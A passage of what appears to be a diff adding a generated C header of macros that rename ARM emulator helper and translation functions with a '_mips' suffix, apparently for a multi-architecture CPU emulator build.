gen_helper_sdiv gen_helper_sdiv_mips +#define gen_helper_sel_flags gen_helper_sel_flags_mips +#define gen_helper_set_cp_reg gen_helper_set_cp_reg_mips +#define gen_helper_set_cp_reg64 gen_helper_set_cp_reg64_mips +#define gen_helper_set_neon_rmode gen_helper_set_neon_rmode_mips +#define gen_helper_set_r13_banked gen_helper_set_r13_banked_mips +#define gen_helper_set_rmode gen_helper_set_rmode_mips +#define gen_helper_set_user_reg gen_helper_set_user_reg_mips +#define gen_helper_shadd16 gen_helper_shadd16_mips +#define gen_helper_shadd8 gen_helper_shadd8_mips +#define gen_helper_shaddsubx gen_helper_shaddsubx_mips +#define gen_helper_shl_cc gen_helper_shl_cc_mips +#define gen_helper_shr_cc gen_helper_shr_cc_mips +#define gen_helper_shsub16 gen_helper_shsub16_mips +#define gen_helper_shsub8 gen_helper_shsub8_mips +#define gen_helper_shsubaddx gen_helper_shsubaddx_mips +#define gen_helper_ssat gen_helper_ssat_mips +#define gen_helper_ssat16 gen_helper_ssat16_mips +#define gen_helper_ssub16 gen_helper_ssub16_mips +#define gen_helper_ssub8 gen_helper_ssub8_mips +#define gen_helper_ssubaddx gen_helper_ssubaddx_mips +#define gen_helper_sub_saturate gen_helper_sub_saturate_mips +#define gen_helper_sxtb16 gen_helper_sxtb16_mips +#define gen_helper_uadd16 gen_helper_uadd16_mips +#define gen_helper_uadd8 gen_helper_uadd8_mips +#define gen_helper_uaddsubx gen_helper_uaddsubx_mips +#define gen_helper_udiv gen_helper_udiv_mips +#define gen_helper_uhadd16 gen_helper_uhadd16_mips +#define gen_helper_uhadd8 gen_helper_uhadd8_mips +#define gen_helper_uhaddsubx gen_helper_uhaddsubx_mips +#define gen_helper_uhsub16 gen_helper_uhsub16_mips +#define gen_helper_uhsub8 gen_helper_uhsub8_mips +#define gen_helper_uhsubaddx gen_helper_uhsubaddx_mips +#define gen_helper_uqadd16 gen_helper_uqadd16_mips +#define gen_helper_uqadd8 gen_helper_uqadd8_mips +#define gen_helper_uqaddsubx gen_helper_uqaddsubx_mips +#define gen_helper_uqsub16 gen_helper_uqsub16_mips +#define gen_helper_uqsub8 gen_helper_uqsub8_mips +#define gen_helper_uqsubaddx gen_helper_uqsubaddx_mips +#define gen_helper_usad8 gen_helper_usad8_mips +#define gen_helper_usat gen_helper_usat_mips +#define gen_helper_usat16 gen_helper_usat16_mips +#define gen_helper_usub16 gen_helper_usub16_mips +#define gen_helper_usub8 gen_helper_usub8_mips +#define gen_helper_usubaddx gen_helper_usubaddx_mips +#define gen_helper_uxtb16 gen_helper_uxtb16_mips +#define gen_helper_v7m_mrs gen_helper_v7m_mrs_mips +#define gen_helper_v7m_msr gen_helper_v7m_msr_mips +#define gen_helper_vfp_absd gen_helper_vfp_absd_mips +#define gen_helper_vfp_abss gen_helper_vfp_abss_mips +#define gen_helper_vfp_addd gen_helper_vfp_addd_mips +#define gen_helper_vfp_adds gen_helper_vfp_adds_mips +#define gen_helper_vfp_cmpd gen_helper_vfp_cmpd_mips +#define gen_helper_vfp_cmped gen_helper_vfp_cmped_mips +#define gen_helper_vfp_cmpes gen_helper_vfp_cmpes_mips +#define gen_helper_vfp_cmps gen_helper_vfp_cmps_mips +#define gen_helper_vfp_divd gen_helper_vfp_divd_mips +#define gen_helper_vfp_divs gen_helper_vfp_divs_mips +#define gen_helper_vfp_fcvtds gen_helper_vfp_fcvtds_mips +#define gen_helper_vfp_fcvt_f16_to_f32 gen_helper_vfp_fcvt_f16_to_f32_mips +#define gen_helper_vfp_fcvt_f16_to_f64 gen_helper_vfp_fcvt_f16_to_f64_mips +#define gen_helper_vfp_fcvt_f32_to_f16 gen_helper_vfp_fcvt_f32_to_f16_mips +#define gen_helper_vfp_fcvt_f64_to_f16 gen_helper_vfp_fcvt_f64_to_f16_mips +#define gen_helper_vfp_fcvtsd gen_helper_vfp_fcvtsd_mips +#define gen_helper_vfp_get_fpscr gen_helper_vfp_get_fpscr_mips +#define gen_helper_vfp_maxnumd gen_helper_vfp_maxnumd_mips +#define gen_helper_vfp_maxnums gen_helper_vfp_maxnums_mips +#define gen_helper_vfp_maxs gen_helper_vfp_maxs_mips +#define gen_helper_vfp_minnumd gen_helper_vfp_minnumd_mips +#define gen_helper_vfp_minnums gen_helper_vfp_minnums_mips +#define gen_helper_vfp_mins gen_helper_vfp_mins_mips +#define gen_helper_vfp_muladdd gen_helper_vfp_muladdd_mips +#define gen_helper_vfp_muladds gen_helper_vfp_muladds_mips +#define gen_helper_vfp_muld gen_helper_vfp_muld_mips +#define gen_helper_vfp_muls gen_helper_vfp_muls_mips +#define gen_helper_vfp_negd gen_helper_vfp_negd_mips +#define gen_helper_vfp_negs gen_helper_vfp_negs_mips +#define gen_helper_vfp_set_fpscr gen_helper_vfp_set_fpscr_mips +#define gen_helper_vfp_shtod gen_helper_vfp_shtod_mips +#define gen_helper_vfp_shtos gen_helper_vfp_shtos_mips +#define gen_helper_vfp_sitod gen_helper_vfp_sitod_mips +#define gen_helper_vfp_sitos gen_helper_vfp_sitos_mips +#define gen_helper_vfp_sltod gen_helper_vfp_sltod_mips +#define gen_helper_vfp_sltos gen_helper_vfp_sltos_mips +#define gen_helper_vfp_sqrtd gen_helper_vfp_sqrtd_mips +#define gen_helper_vfp_sqrts gen_helper_vfp_sqrts_mips +#define gen_helper_vfp_subd gen_helper_vfp_subd_mips +#define gen_helper_vfp_subs gen_helper_vfp_subs_mips +#define gen_helper_vfp_toshd_round_to_zero gen_helper_vfp_toshd_round_to_zero_mips +#define gen_helper_vfp_toshs_round_to_zero gen_helper_vfp_toshs_round_to_zero_mips +#define gen_helper_vfp_tosid gen_helper_vfp_tosid_mips +#define gen_helper_vfp_tosis gen_helper_vfp_tosis_mips +#define gen_helper_vfp_tosizd gen_helper_vfp_tosizd_mips +#define gen_helper_vfp_tosizs gen_helper_vfp_tosizs_mips +#define gen_helper_vfp_tosld gen_helper_vfp_tosld_mips +#define gen_helper_vfp_tosld_round_to_zero gen_helper_vfp_tosld_round_to_zero_mips +#define gen_helper_vfp_tosls gen_helper_vfp_tosls_mips +#define gen_helper_vfp_tosls_round_to_zero gen_helper_vfp_tosls_round_to_zero_mips +#define gen_helper_vfp_touhd_round_to_zero gen_helper_vfp_touhd_round_to_zero_mips +#define gen_helper_vfp_touhs_round_to_zero gen_helper_vfp_touhs_round_to_zero_mips +#define gen_helper_vfp_touid gen_helper_vfp_touid_mips +#define gen_helper_vfp_touis gen_helper_vfp_touis_mips +#define gen_helper_vfp_touizd gen_helper_vfp_touizd_mips +#define gen_helper_vfp_touizs gen_helper_vfp_touizs_mips +#define gen_helper_vfp_tould gen_helper_vfp_tould_mips +#define gen_helper_vfp_tould_round_to_zero gen_helper_vfp_tould_round_to_zero_mips +#define gen_helper_vfp_touls gen_helper_vfp_touls_mips +#define gen_helper_vfp_touls_round_to_zero gen_helper_vfp_touls_round_to_zero_mips +#define gen_helper_vfp_uhtod gen_helper_vfp_uhtod_mips +#define gen_helper_vfp_uhtos gen_helper_vfp_uhtos_mips +#define gen_helper_vfp_uitod gen_helper_vfp_uitod_mips +#define gen_helper_vfp_uitos gen_helper_vfp_uitos_mips +#define gen_helper_vfp_ultod gen_helper_vfp_ultod_mips +#define gen_helper_vfp_ultos gen_helper_vfp_ultos_mips +#define gen_helper_wfe gen_helper_wfe_mips +#define gen_helper_wfi gen_helper_wfi_mips +#define gen_hvc gen_hvc_mips +#define gen_intermediate_code_internal gen_intermediate_code_internal_mips +#define gen_intermediate_code_internal_a64 gen_intermediate_code_internal_a64_mips +#define gen_iwmmxt_address gen_iwmmxt_address_mips +#define gen_iwmmxt_shift gen_iwmmxt_shift_mips +#define gen_jmp gen_jmp_mips +#define gen_load_and_replicate gen_load_and_replicate_mips +#define gen_load_exclusive gen_load_exclusive_mips +#define gen_logic_CC gen_logic_CC_mips +#define gen_logicq_cc gen_logicq_cc_mips +#define gen_lookup_tb gen_lookup_tb_mips +#define gen_mov_F0_vreg gen_mov_F0_vreg_mips +#define gen_mov_F1_vreg gen_mov_F1_vreg_mips +#define gen_mov_vreg_F0 gen_mov_vreg_F0_mips +#define gen_muls_i64_i32 gen_muls_i64_i32_mips +#define gen_mulu_i64_i32 gen_mulu_i64_i32_mips +#define gen_mulxy gen_mulxy_mips +#define gen_neon_add gen_neon_add_mips +#define gen_neon_addl gen_neon_addl_mips +#define gen_neon_addl_saturate gen_neon_addl_saturate_mips +#define gen_neon_bsl gen_neon_bsl_mips +#define gen_neon_dup_high16 gen_neon_dup_high16_mips +#define gen_neon_dup_low16 gen_neon_dup_low16_mips +#define gen_neon_dup_u8 gen_neon_dup_u8_mips +#define gen_neon_mull gen_neon_mull_mips +#define gen_neon_narrow gen_neon_narrow_mips +#define gen_neon_narrow_op gen_neon_narrow_op_mips +#define gen_neon_narrow_sats gen_neon_narrow_sats_mips +#define gen_neon_narrow_satu gen_neon_narrow_satu_mips +#define gen_neon_negl gen_neon_negl_mips +#define gen_neon_rsb gen_neon_rsb_mips +#define gen_neon_shift_narrow gen_neon_shift_narrow_mips +#define gen_neon_subl gen_neon_subl_mips +#define gen_neon_trn_u16 gen_neon_trn_u16_mips +#define gen_neon_trn_u8 gen_neon_trn_u8_mips +#define gen_neon_unarrow_sats gen_neon_unarrow_sats_mips +#define gen_neon_unzip gen_neon_unzip_mips +#define gen_neon_widen gen_neon_widen_mips +#define gen_neon_zip gen_neon_zip_mips +#define gen_new_label gen_new_label_mips +#define gen_nop_hint gen_nop_hint_mips +#define gen_op_iwmmxt_addl_M0_wRn gen_op_iwmmxt_addl_M0_wRn_mips +#define gen_op_iwmmxt_addnb_M0_wRn gen_op_iwmmxt_addnb_M0_wRn_mips +#define gen_op_iwmmxt_addnl_M0_wRn gen_op_iwmmxt_addnl_M0_wRn_mips +#define gen_op_iwmmxt_addnw_M0_wRn gen_op_iwmmxt_addnw_M0_wRn_mips +#define gen_op_iwmmxt_addsb_M0_wRn gen_op_iwmmxt_addsb_M0_wRn_mips +#define gen_op_iwmmxt_addsl_M0_wRn gen_op_iwmmxt_addsl_M0_wRn_mips +#define gen_op_iwmmxt_addsw_M0_wRn gen_op_iwmmxt_addsw_M0_wRn_mips +#define gen_op_iwmmxt_addub_M0_wRn gen_op_iwmmxt_addub_M0_wRn_mips +#define gen_op_iwmmxt_addul_M0_wRn gen_op_iwmmxt_addul_M0_wRn_mips +#define gen_op_iwmmxt_adduw_M0_wRn gen_op_iwmmxt_adduw_M0_wRn_mips +#define gen_op_iwmmxt_andq_M0_wRn gen_op_iwmmxt_andq_M0_wRn_mips +#define gen_op_iwmmxt_avgb0_M0_wRn gen_op_iwmmxt_avgb0_M0_wRn_mips +#define gen_op_iwmmxt_avgb1_M0_wRn gen_op_iwmmxt_avgb1_M0_wRn_mips +#define gen_op_iwmmxt_avgw0_M0_wRn gen_op_iwmmxt_avgw0_M0_wRn_mips +#define gen_op_iwmmxt_avgw1_M0_wRn gen_op_iwmmxt_avgw1_M0_wRn_mips +#define gen_op_iwmmxt_cmpeqb_M0_wRn gen_op_iwmmxt_cmpeqb_M0_wRn_mips +#define gen_op_iwmmxt_cmpeql_M0_wRn gen_op_iwmmxt_cmpeql_M0_wRn_mips +#define gen_op_iwmmxt_cmpeqw_M0_wRn gen_op_iwmmxt_cmpeqw_M0_wRn_mips +#define gen_op_iwmmxt_cmpgtsb_M0_wRn gen_op_iwmmxt_cmpgtsb_M0_wRn_mips +#define gen_op_iwmmxt_cmpgtsl_M0_wRn gen_op_iwmmxt_cmpgtsl_M0_wRn_mips +#define gen_op_iwmmxt_cmpgtsw_M0_wRn gen_op_iwmmxt_cmpgtsw_M0_wRn_mips +#define gen_op_iwmmxt_cmpgtub_M0_wRn gen_op_iwmmxt_cmpgtub_M0_wRn_mips +#define gen_op_iwmmxt_cmpgtul_M0_wRn gen_op_iwmmxt_cmpgtul_M0_wRn_mips +#define gen_op_iwmmxt_cmpgtuw_M0_wRn gen_op_iwmmxt_cmpgtuw_M0_wRn_mips +#define gen_op_iwmmxt_macsw_M0_wRn gen_op_iwmmxt_macsw_M0_wRn_mips +#define gen_op_iwmmxt_macuw_M0_wRn gen_op_iwmmxt_macuw_M0_wRn_mips +#define gen_op_iwmmxt_maddsq_M0_wRn gen_op_iwmmxt_maddsq_M0_wRn_mips +#define gen_op_iwmmxt_madduq_M0_wRn gen_op_iwmmxt_madduq_M0_wRn_mips +#define gen_op_iwmmxt_maxsb_M0_wRn gen_op_iwmmxt_maxsb_M0_wRn_mips +#define gen_op_iwmmxt_maxsl_M0_wRn gen_op_iwmmxt_maxsl_M0_wRn_mips +#define gen_op_iwmmxt_maxsw_M0_wRn gen_op_iwmmxt_maxsw_M0_wRn_mips +#define gen_op_iwmmxt_maxub_M0_wRn gen_op_iwmmxt_maxub_M0_wRn_mips +#define gen_op_iwmmxt_maxul_M0_wRn gen_op_iwmmxt_maxul_M0_wRn_mips +#define gen_op_iwmmxt_maxuw_M0_wRn gen_op_iwmmxt_maxuw_M0_wRn_mips +#define gen_op_iwmmxt_minsb_M0_wRn gen_op_iwmmxt_minsb_M0_wRn_mips +#define gen_op_iwmmxt_minsl_M0_wRn gen_op_iwmmxt_minsl_M0_wRn_mips +#define gen_op_iwmmxt_minsw_M0_wRn gen_op_iwmmxt_minsw_M0_wRn_mips +#define gen_op_iwmmxt_minub_M0_wRn gen_op_iwmmxt_minub_M0_wRn_mips +#define gen_op_iwmmxt_minul_M0_wRn gen_op_iwmmxt_minul_M0_wRn_mips +#define gen_op_iwmmxt_minuw_M0_wRn gen_op_iwmmxt_minuw_M0_wRn_mips +#define gen_op_iwmmxt_movq_M0_wRn gen_op_iwmmxt_movq_M0_wRn_mips +#define gen_op_iwmmxt_movq_wRn_M0 gen_op_iwmmxt_movq_wRn_M0_mips +#define gen_op_iwmmxt_mulshw_M0_wRn gen_op_iwmmxt_mulshw_M0_wRn_mips +#define gen_op_iwmmxt_mulslw_M0_wRn gen_op_iwmmxt_mulslw_M0_wRn_mips +#define gen_op_iwmmxt_muluhw_M0_wRn gen_op_iwmmxt_muluhw_M0_wRn_mips +#define gen_op_iwmmxt_mululw_M0_wRn gen_op_iwmmxt_mululw_M0_wRn_mips +#define gen_op_iwmmxt_orq_M0_wRn gen_op_iwmmxt_orq_M0_wRn_mips +#define gen_op_iwmmxt_packsl_M0_wRn gen_op_iwmmxt_packsl_M0_wRn_mips +#define gen_op_iwmmxt_packsq_M0_wRn gen_op_iwmmxt_packsq_M0_wRn_mips +#define gen_op_iwmmxt_packsw_M0_wRn gen_op_iwmmxt_packsw_M0_wRn_mips +#define gen_op_iwmmxt_packul_M0_wRn gen_op_iwmmxt_packul_M0_wRn_mips +#define gen_op_iwmmxt_packuq_M0_wRn gen_op_iwmmxt_packuq_M0_wRn_mips +#define gen_op_iwmmxt_packuw_M0_wRn gen_op_iwmmxt_packuw_M0_wRn_mips +#define gen_op_iwmmxt_sadb_M0_wRn gen_op_iwmmxt_sadb_M0_wRn_mips +#define gen_op_iwmmxt_sadw_M0_wRn gen_op_iwmmxt_sadw_M0_wRn_mips +#define gen_op_iwmmxt_set_cup gen_op_iwmmxt_set_cup_mips +#define gen_op_iwmmxt_set_mup gen_op_iwmmxt_set_mup_mips +#define gen_op_iwmmxt_setpsr_nz gen_op_iwmmxt_setpsr_nz_mips +#define gen_op_iwmmxt_subnb_M0_wRn gen_op_iwmmxt_subnb_M0_wRn_mips +#define gen_op_iwmmxt_subnl_M0_wRn gen_op_iwmmxt_subnl_M0_wRn_mips +#define gen_op_iwmmxt_subnw_M0_wRn gen_op_iwmmxt_subnw_M0_wRn_mips +#define gen_op_iwmmxt_subsb_M0_wRn gen_op_iwmmxt_subsb_M0_wRn_mips +#define gen_op_iwmmxt_subsl_M0_wRn gen_op_iwmmxt_subsl_M0_wRn_mips +#define gen_op_iwmmxt_subsw_M0_wRn gen_op_iwmmxt_subsw_M0_wRn_mips +#define gen_op_iwmmxt_subub_M0_wRn gen_op_iwmmxt_subub_M0_wRn_mips +#define gen_op_iwmmxt_subul_M0_wRn gen_op_iwmmxt_subul_M0_wRn_mips +#define gen_op_iwmmxt_subuw_M0_wRn gen_op_iwmmxt_subuw_M0_wRn_mips +#define gen_op_iwmmxt_unpackhb_M0_wRn gen_op_iwmmxt_unpackhb_M0_wRn_mips +#define gen_op_iwmmxt_unpackhl_M0_wRn gen_op_iwmmxt_unpackhl_M0_wRn_mips +#define gen_op_iwmmxt_unpackhsb_M0 gen_op_iwmmxt_unpackhsb_M0_mips +#define gen_op_iwmmxt_unpackhsl_M0 gen_op_iwmmxt_unpackhsl_M0_mips +#define gen_op_iwmmxt_unpackhsw_M0 gen_op_iwmmxt_unpackhsw_M0_mips +#define gen_op_iwmmxt_unpackhub_M0 gen_op_iwmmxt_unpackhub_M0_mips +#define gen_op_iwmmxt_unpackhul_M0 gen_op_iwmmxt_unpackhul_M0_mips +#define gen_op_iwmmxt_unpackhuw_M0 gen_op_iwmmxt_unpackhuw_M0_mips +#define gen_op_iwmmxt_unpackhw_M0_wRn gen_op_iwmmxt_unpackhw_M0_wRn_mips +#define gen_op_iwmmxt_unpacklb_M0_wRn gen_op_iwmmxt_unpacklb_M0_wRn_mips +#define gen_op_iwmmxt_unpackll_M0_wRn gen_op_iwmmxt_unpackll_M0_wRn_mips +#define gen_op_iwmmxt_unpacklsb_M0 gen_op_iwmmxt_unpacklsb_M0_mips +#define gen_op_iwmmxt_unpacklsl_M0 gen_op_iwmmxt_unpacklsl_M0_mips +#define gen_op_iwmmxt_unpacklsw_M0 gen_op_iwmmxt_unpacklsw_M0_mips +#define gen_op_iwmmxt_unpacklub_M0 gen_op_iwmmxt_unpacklub_M0_mips +#define gen_op_iwmmxt_unpacklul_M0 gen_op_iwmmxt_unpacklul_M0_mips +#define gen_op_iwmmxt_unpackluw_M0 gen_op_iwmmxt_unpackluw_M0_mips +#define gen_op_iwmmxt_unpacklw_M0_wRn gen_op_iwmmxt_unpacklw_M0_wRn_mips +#define gen_op_iwmmxt_xorq_M0_wRn gen_op_iwmmxt_xorq_M0_wRn_mips +#define gen_rev16 gen_rev16_mips +#define gen_revsh gen_revsh_mips +#define gen_rfe gen_rfe_mips +#define gen_sar gen_sar_mips +#define gen_sbc_CC gen_sbc_CC_mips +#define gen_sbfx gen_sbfx_mips +#define gen_set_CF_bit31 gen_set_CF_bit31_mips +#define gen_set_condexec gen_set_condexec_mips +#define gen_set_cpsr gen_set_cpsr_mips +#define gen_set_label gen_set_label_mips +#define gen_set_pc_im gen_set_pc_im_mips +#define gen_set_psr gen_set_psr_mips +#define gen_set_psr_im gen_set_psr_im_mips +#define gen_shl gen_shl_mips +#define gen_shr gen_shr_mips +#define gen_smc gen_smc_mips +#define gen_smul_dual gen_smul_dual_mips +#define gen_srs gen_srs_mips +#define gen_ss_advance gen_ss_advance_mips +#define gen_step_complete_exception gen_step_complete_exception_mips +#define gen_store_exclusive gen_store_exclusive_mips +#define gen_storeq_reg gen_storeq_reg_mips +#define gen_sub_carry gen_sub_carry_mips +#define gen_sub_CC gen_sub_CC_mips +#define gen_subq_msw gen_subq_msw_mips +#define gen_swap_half gen_swap_half_mips +#define gen_thumb2_data_op gen_thumb2_data_op_mips +#define gen_thumb2_parallel_addsub gen_thumb2_parallel_addsub_mips +#define gen_ubfx gen_ubfx_mips +#define gen_vfp_abs gen_vfp_abs_mips +#define gen_vfp_add gen_vfp_add_mips +#define gen_vfp_cmp gen_vfp_cmp_mips +#define gen_vfp_cmpe gen_vfp_cmpe_mips +#define gen_vfp_div gen_vfp_div_mips +#define gen_vfp_F1_ld0 gen_vfp_F1_ld0_mips +#define gen_vfp_F1_mul gen_vfp_F1_mul_mips +#define gen_vfp_F1_neg gen_vfp_F1_neg_mips +#define gen_vfp_ld gen_vfp_ld_mips +#define gen_vfp_mrs gen_vfp_mrs_mips +#define gen_vfp_msr gen_vfp_msr_mips +#define gen_vfp_mul gen_vfp_mul_mips +#define gen_vfp_neg gen_vfp_neg_mips +#define gen_vfp_shto gen_vfp_shto_mips +#define gen_vfp_sito gen_vfp_sito_mips +#define gen_vfp_slto gen_vfp_slto_mips +#define gen_vfp_sqrt gen_vfp_sqrt_mips +#define gen_vfp_st gen_vfp_st_mips +#define gen_vfp_sub gen_vfp_sub_mips +#define gen_vfp_tosh gen_vfp_tosh_mips +#define gen_vfp_tosi gen_vfp_tosi_mips +#define gen_vfp_tosiz gen_vfp_tosiz_mips +#define gen_vfp_tosl gen_vfp_tosl_mips +#define gen_vfp_touh gen_vfp_touh_mips +#define gen_vfp_toui gen_vfp_toui_mips +#define gen_vfp_touiz gen_vfp_touiz_mips +#define gen_vfp_toul gen_vfp_toul_mips +#define gen_vfp_uhto gen_vfp_uhto_mips +#define gen_vfp_uito gen_vfp_uito_mips +#define gen_vfp_ulto gen_vfp_ulto_mips +#define get_arm_cp_reginfo get_arm_cp_reginfo_mips +#define get_clock get_clock_mips +#define get_clock_realtime get_clock_realtime_mips +#define get_constraint_priority get_constraint_priority_mips +#define get_float_exception_flags get_float_exception_flags_mips +#define get_float_rounding_mode get_float_rounding_mode_mips +#define get_fpstatus_ptr get_fpstatus_ptr_mips +#define get_level1_table_address get_level1_table_address_mips +#define get_mem_index get_mem_index_mips +#define get_next_param_value get_next_param_value_mips +#define get_opt_name get_opt_name_mips +#define get_opt_value get_opt_value_mips +#define get_page_addr_code get_page_addr_code_mips +#define get_param_value get_param_value_mips +#define get_phys_addr get_phys_addr_mips +#define get_phys_addr_lpae get_phys_addr_lpae_mips +#define get_phys_addr_mpu get_phys_addr_mpu_mips +#define get_phys_addr_v5 get_phys_addr_v5_mips +#define get_phys_addr_v6 get_phys_addr_v6_mips +#define get_system_memory get_system_memory_mips +#define get_ticks_per_sec get_ticks_per_sec_mips +#define g_list_insert_sorted_merged g_list_insert_sorted_merged_mips +#define _GLOBAL_OFFSET_TABLE_ _GLOBAL_OFFSET_TABLE__mips +#define gt_cntfrq_access gt_cntfrq_access_mips +#define gt_cnt_read gt_cnt_read_mips +#define gt_cnt_reset gt_cnt_reset_mips +#define gt_counter_access gt_counter_access_mips +#define gt_ctl_write gt_ctl_write_mips +#define gt_cval_write gt_cval_write_mips +#define gt_get_countervalue gt_get_countervalue_mips +#define gt_pct_access gt_pct_access_mips +#define gt_ptimer_access gt_ptimer_access_mips +#define gt_recalc_timer gt_recalc_timer_mips +#define gt_timer_access gt_timer_access_mips +#define gt_tval_read gt_tval_read_mips +#define gt_tval_write gt_tval_write_mips +#define gt_vct_access gt_vct_access_mips +#define gt_vtimer_access gt_vtimer_access_mips +#define guest_phys_blocks_free guest_phys_blocks_free_mips +#define guest_phys_blocks_init guest_phys_blocks_init_mips +#define handle_vcvt handle_vcvt_mips +#define handle_vminmaxnm handle_vminmaxnm_mips +#define handle_vrint handle_vrint_mips +#define handle_vsel handle_vsel_mips +#define has_help_option has_help_option_mips +#define have_bmi1 have_bmi1_mips +#define have_bmi2 have_bmi2_mips +#define hcr_write hcr_write_mips +#define helper_access_check_cp_reg helper_access_check_cp_reg_mips +#define helper_add_saturate helper_add_saturate_mips +#define helper_add_setq helper_add_setq_mips +#define helper_add_usaturate helper_add_usaturate_mips +#define helper_be_ldl_cmmu helper_be_ldl_cmmu_mips +#define helper_be_ldq_cmmu helper_be_ldq_cmmu_mips +#define helper_be_ldq_mmu helper_be_ldq_mmu_mips +#define helper_be_ldsl_mmu helper_be_ldsl_mmu_mips +#define helper_be_ldsw_mmu helper_be_ldsw_mmu_mips +#define helper_be_ldul_mmu helper_be_ldul_mmu_mips +#define helper_be_lduw_mmu helper_be_lduw_mmu_mips +#define helper_be_ldw_cmmu helper_be_ldw_cmmu_mips +#define helper_be_stl_mmu helper_be_stl_mmu_mips +#define helper_be_stq_mmu helper_be_stq_mmu_mips +#define helper_be_stw_mmu helper_be_stw_mmu_mips +#define helper_clear_pstate_ss helper_clear_pstate_ss_mips +#define helper_clz_arm helper_clz_arm_mips +#define helper_cpsr_read helper_cpsr_read_mips +#define helper_cpsr_write helper_cpsr_write_mips +#define helper_crc32_arm helper_crc32_arm_mips +#define helper_crc32c helper_crc32c_mips +#define helper_crypto_aese helper_crypto_aese_mips +#define helper_crypto_aesmc helper_crypto_aesmc_mips +#define helper_crypto_sha1_3reg helper_crypto_sha1_3reg_mips +#define helper_crypto_sha1h helper_crypto_sha1h_mips +#define helper_crypto_sha1su1 helper_crypto_sha1su1_mips +#define helper_crypto_sha256h helper_crypto_sha256h_mips +#define helper_crypto_sha256h2 helper_crypto_sha256h2_mips +#define helper_crypto_sha256su0 helper_crypto_sha256su0_mips +#define helper_crypto_sha256su1 helper_crypto_sha256su1_mips +#define helper_dc_zva helper_dc_zva_mips +#define helper_double_saturate helper_double_saturate_mips +#define helper_exception_internal helper_exception_internal_mips +#define helper_exception_return helper_exception_return_mips +#define helper_exception_with_syndrome helper_exception_with_syndrome_mips +#define helper_get_cp_reg helper_get_cp_reg_mips +#define helper_get_cp_reg64 helper_get_cp_reg64_mips +#define helper_get_r13_banked helper_get_r13_banked_mips +#define helper_get_user_reg helper_get_user_reg_mips +#define helper_iwmmxt_addcb helper_iwmmxt_addcb_mips +#define helper_iwmmxt_addcl helper_iwmmxt_addcl_mips +#define helper_iwmmxt_addcw helper_iwmmxt_addcw_mips +#define helper_iwmmxt_addnb helper_iwmmxt_addnb_mips +#define helper_iwmmxt_addnl helper_iwmmxt_addnl_mips +#define helper_iwmmxt_addnw helper_iwmmxt_addnw_mips +#define helper_iwmmxt_addsb helper_iwmmxt_addsb_mips +#define helper_iwmmxt_addsl helper_iwmmxt_addsl_mips +#define helper_iwmmxt_addsw helper_iwmmxt_addsw_mips +#define helper_iwmmxt_addub helper_iwmmxt_addub_mips +#define helper_iwmmxt_addul helper_iwmmxt_addul_mips +#define helper_iwmmxt_adduw helper_iwmmxt_adduw_mips +#define helper_iwmmxt_align helper_iwmmxt_align_mips +#define helper_iwmmxt_avgb0 helper_iwmmxt_avgb0_mips +#define helper_iwmmxt_avgb1 helper_iwmmxt_avgb1_mips +#define helper_iwmmxt_avgw0 helper_iwmmxt_avgw0_mips +#define helper_iwmmxt_avgw1 helper_iwmmxt_avgw1_mips +#define helper_iwmmxt_bcstb helper_iwmmxt_bcstb_mips +#define helper_iwmmxt_bcstl helper_iwmmxt_bcstl_mips +#define helper_iwmmxt_bcstw helper_iwmmxt_bcstw_mips +#define helper_iwmmxt_cmpeqb helper_iwmmxt_cmpeqb_mips +#define helper_iwmmxt_cmpeql helper_iwmmxt_cmpeql_mips +#define helper_iwmmxt_cmpeqw helper_iwmmxt_cmpeqw_mips +#define helper_iwmmxt_cmpgtsb helper_iwmmxt_cmpgtsb_mips +#define helper_iwmmxt_cmpgtsl helper_iwmmxt_cmpgtsl_mips +#define helper_iwmmxt_cmpgtsw helper_iwmmxt_cmpgtsw_mips +#define helper_iwmmxt_cmpgtub helper_iwmmxt_cmpgtub_mips +#define helper_iwmmxt_cmpgtul helper_iwmmxt_cmpgtul_mips +#define helper_iwmmxt_cmpgtuw helper_iwmmxt_cmpgtuw_mips +#define helper_iwmmxt_insr helper_iwmmxt_insr_mips +#define helper_iwmmxt_macsw helper_iwmmxt_macsw_mips +#define helper_iwmmxt_macuw helper_iwmmxt_macuw_mips +#define helper_iwmmxt_maddsq helper_iwmmxt_maddsq_mips +#define helper_iwmmxt_madduq helper_iwmmxt_madduq_mips +#define helper_iwmmxt_maxsb helper_iwmmxt_maxsb_mips +#define helper_iwmmxt_maxsl helper_iwmmxt_maxsl_mips +#define helper_iwmmxt_maxsw helper_iwmmxt_maxsw_mips +#define helper_iwmmxt_maxub helper_iwmmxt_maxub_mips +#define helper_iwmmxt_maxul helper_iwmmxt_maxul_mips +#define helper_iwmmxt_maxuw helper_iwmmxt_maxuw_mips +#define helper_iwmmxt_minsb helper_iwmmxt_minsb_mips +#define helper_iwmmxt_minsl helper_iwmmxt_minsl_mips +#define helper_iwmmxt_minsw helper_iwmmxt_minsw_mips +#define helper_iwmmxt_minub helper_iwmmxt_minub_mips +#define helper_iwmmxt_minul helper_iwmmxt_minul_mips +#define helper_iwmmxt_minuw helper_iwmmxt_minuw_mips +#define helper_iwmmxt_msbb helper_iwmmxt_msbb_mips +#define helper_iwmmxt_msbl helper_iwmmxt_msbl_mips +#define helper_iwmmxt_msbw helper_iwmmxt_msbw_mips +#define helper_iwmmxt_muladdsl helper_iwmmxt_muladdsl_mips +#define helper_iwmmxt_muladdsw helper_iwmmxt_muladdsw_mips +#define helper_iwmmxt_muladdswl helper_iwmmxt_muladdswl_mips +#define helper_iwmmxt_mulshw helper_iwmmxt_mulshw_mips +#define helper_iwmmxt_mulslw helper_iwmmxt_mulslw_mips +#define helper_iwmmxt_muluhw helper_iwmmxt_muluhw_mips +#define helper_iwmmxt_mululw helper_iwmmxt_mululw_mips +#define helper_iwmmxt_packsl helper_iwmmxt_packsl_mips +#define helper_iwmmxt_packsq helper_iwmmxt_packsq_mips +#define helper_iwmmxt_packsw helper_iwmmxt_packsw_mips +#define helper_iwmmxt_packul helper_iwmmxt_packul_mips +#define helper_iwmmxt_packuq helper_iwmmxt_packuq_mips +#define helper_iwmmxt_packuw helper_iwmmxt_packuw_mips +#define helper_iwmmxt_rorl helper_iwmmxt_rorl_mips +#define helper_iwmmxt_rorq helper_iwmmxt_rorq_mips +#define helper_iwmmxt_rorw helper_iwmmxt_rorw_mips +#define helper_iwmmxt_sadb helper_iwmmxt_sadb_mips +#define helper_iwmmxt_sadw helper_iwmmxt_sadw_mips +#define helper_iwmmxt_setpsr_nz helper_iwmmxt_setpsr_nz_mips +#define helper_iwmmxt_shufh helper_iwmmxt_shufh_mips +#define helper_iwmmxt_slll 